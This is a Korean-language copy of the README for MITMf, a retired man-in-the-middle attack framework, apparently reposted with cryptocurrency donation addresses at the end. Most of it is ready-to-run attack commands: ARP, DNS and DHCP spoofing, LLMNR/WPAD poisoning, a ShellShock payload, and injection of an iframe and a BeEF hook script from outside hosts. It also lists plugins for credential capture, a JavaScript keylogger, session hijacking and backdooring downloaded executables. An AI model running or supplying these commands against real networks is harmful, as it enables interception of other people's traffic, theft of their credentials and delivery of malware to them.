중간자 공격을 위한 프레임워크
이 프로젝트는 더 이상 업데이트되지 않습니다. MITMf는 당시 중간자 공격을 수행하기 위한 최신 도구의 필요성을 해결하기 위해 작성되었습니다. 그 이후로 이 공간을 채우기 위해 다른 많은 도구가 만들어졌기 때문에 아마도 Bettercap을 사용해야 할 것입니다. Bettercap은 훨씬 더 완벽하고 더 나은 유지 관리 기능을 제공하기 때문입니다.
빠른 튜토리얼, 예제 및 개발자 업데이트: https://byt3bl33d3r.github.io
이 도구는 sergio-proxy를 기반으로 하며 프로젝트를 부활시키고 업데이트하려는 시도입니다.
저에게 연락하세요:
트위터: @byt3bl33d3r
프리노드의 IRC: #MITMf
이메일: [email protected]
문제를 제출하기 전에 Wiki의 관련 섹션을 읽어보세요.
설치 지침은 위키를 참조하세요.
MITMf는 Man-In-The-Middle 및 네트워크 공격에 대한 원스톱 상점을 제공하는 동시에 기존 공격 및 기술을 업데이트하고 개선하는 것을 목표로 합니다.
원래 다른 도구(예: Ettercap, Mallory)의 중요한 단점을 해결하기 위해 구축되었지만 누구나 자신의 MITM 공격을 구현하는 데 사용할 수 있는 쉽게 확장 가능한 모듈식 프레임워크를 제공하기 위해 처음부터 거의 완전히 다시 작성되었습니다.
프레임워크에는 다양한 플러그인에서 제어하고 사용할 수 있는 내장 SMB, HTTP 및 DNS 서버가 포함되어 있으며, HTTP 수정 및 부분 HSTS 우회를 허용하는 SSLStrip 프록시의 수정된 버전도 포함되어 있습니다.
버전 0.9.8부터 MITMf는 활성 패킷 필터링 및 조작(기본적으로 etterfilters가 수행한 기능이 더 좋음)을 지원하므로 사용자는 모든 유형의 트래픽이나 프로토콜을 수정할 수 있습니다.
MITMf가 실행되는 동안 구성 파일을 즉시 편집할 수 있으며 변경 사항은 프레임워크를 통해 전달됩니다. 이를 통해 공격을 수행하는 동안 플러그인과 서버의 설정을 조정할 수 있습니다.
MITMf는 Net-Creds를 사용하여 FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP(커뮤니티 문자열), NTLMv1/v2(HTTP, SMB, LDAP 등과 같은 지원되는 모든 프로토콜) 및 Kerberos 자격 증명을 캡처합니다. 시작.
응답자 통합을 통해 LLMNR, NBT-NS 및 MDNS 중독과 WPAD 불량 서버 지원이 가능합니다.
이제 Scapy를 사용하여 MITMf가 가로채는 모든 패킷/프로토콜을 수정할 수 있습니다! (더 이상 에터 필터가 없습니다! 예!)
예를 들어, 다음은 ICMP 패킷의 대상 IP 주소만 변경하는 어리석은 작은 필터입니다.
if packet.haslayer(ICMP): log.info('ICMP 패킷을 받았습니다!') packet.dst = '192.168.1.0'
Scapy 호환 형식의 패킷에 액세스하려면 packet
변수를 사용하십시오.
data
변수를 사용하여 원시 패킷 데이터에 액세스합니다.
이제 필터를 사용하기 위해 해야 할 일은 다음과 같습니다: python mitmf.py -F ~/filter.py
실제로 다른 사람의 패킷을 가로채기 위해 Spoof 플러그인과 결합하고 싶을 수도 있습니다. ;)
참고 : MITMf를 다시 시작하지 않고도 즉시 필터를 수정할 수 있습니다!
가장 기본적인 사용법은 enp3s0 인터페이스에서 HTTP 프록시 SMB, DNS, HTTP 서버 및 Net-Creds를 시작하는 것입니다.
python mitmf.py -i enp3s0
ARP는 Spoof 플러그인을 사용하여 192.168.1.1의 게이트웨이로 전체 서브넷을 포이즌합니다.
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
위와 동일 + 응답자 플러그인을 사용하는 WPAD 불량 프록시 서버:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
192.168.1.1의 게이트웨이가 있는 ARP 포이즌 192.168.1.16-45 및 192.168.0.1/24:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
ARP 중독 중에 DNS 스푸핑을 활성화합니다(스푸핑할 도메인은 구성 파일에서 가져옵니다).
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
LLMNR/NBTNS/MDNS 스푸핑 활성화:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
DHCP 스푸핑을 활성화합니다(IP 풀과 서브넷은 구성 파일에서 가져옵니다).
python mitmf.py -i enp3s0 --spoof --dhcp
클라이언트가 취약한 경우 실행될 ShellShock 페이로드와 위와 동일합니다.
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Inject 플러그인을 사용하여 HTML IFrame을 삽입합니다.
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
JS 스크립트를 삽입합니다.
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
모든 것을 http://SERVER/PATH로 리디렉션하는 종속 포털을 시작합니다.
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
config/captive 폴더의 기본 페이지 /portal.html(thx 응답자) 및 /CaptiveClient.exe(포함되지 않음)를 사용하여 http://your-ip/portal.html에서 캡티브 포털을 시작합니다.
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
위와 동일하지만 IP 대신 호스트 이름 captive.portal을 사용합니다(예: DNS 스푸핑을 통해 IP를 확인하려면 captive.portal이 필요함).
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
http://IP:8080에서 LOCALDIR을 제공하는 추가 SimpleHTTPServer 인스턴스를 사용하여 종속 포털을 제공합니다(mitmf.config에서 포트 변경).
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
위와 동일하지만 호스트 이름은 다음과 같습니다.
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
그리고 훨씬 더!
물론 거의 모든 플러그인을 혼합하고 일치시킬 수 있습니다(예: ARP 스푸핑 + 주입 + 응답자 등).
사용 가능한 옵션의 전체 목록을 보려면 python mitmf.py --help
실행하세요.
HTA Drive-By : 가짜 업데이트 알림을 삽입하고 클라이언트에게 HTA 애플리케이션을 다운로드하라는 메시지를 표시합니다.
SMBTrap : 연결된 클라이언트의 'SMB 트랩' 취약점을 악용합니다.
ScreenShotter : HTML5 Canvas를 사용하여 클라이언트 브라우저의 정확한 스크린샷을 렌더링합니다.
응답자 : LLMNR, NBT-NS, WPAD 및 MDNS 중독자
SSLstrip+ : HSTS를 부분적으로 우회
Spoof : ARP, ICMP, DHCP 또는 DNS 스푸핑을 사용하여 트래픽을 리디렉션합니다.
BeEFAutorun : 클라이언트의 OS 또는 브라우저 유형을 기반으로 BeEF 모듈을 자동 실행합니다.
AppCachePoison : HTML5 앱 캐시 중독 공격을 수행합니다.
Ferret-NG : 클라이언트 세션을 투명하게 하이재킹합니다.
BrowserProfiler : 연결된 클라이언트의 모든 브라우저 플러그인을 열거하려고 시도합니다.
FilePwn : Backdoor Factory 및 BDFProxy를 사용하여 HTTP를 통해 전송된 백도어 실행 파일
Inject : HTML 컨텐츠에 임의의 컨텐츠를 삽입합니다.
BrowserSniper : 오래된 브라우저 플러그인을 사용하는 클라이언트에 대해 드라이브 바이 공격을 수행합니다.
JSkeylogger : 클라이언트의 웹페이지에 Javascript 키로거를 삽입합니다.
바꾸기 : HTML 콘텐츠에서 임의의 콘텐츠를 바꿉니다.
SMBAuth : SMB 시도-응답 인증 시도 호출
Upsidedownternet : 이미지를 180도 뒤집습니다.
Captive : 302를 사용하여 HTTP 요청을 리디렉션하는 종속 포털을 만듭니다.
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr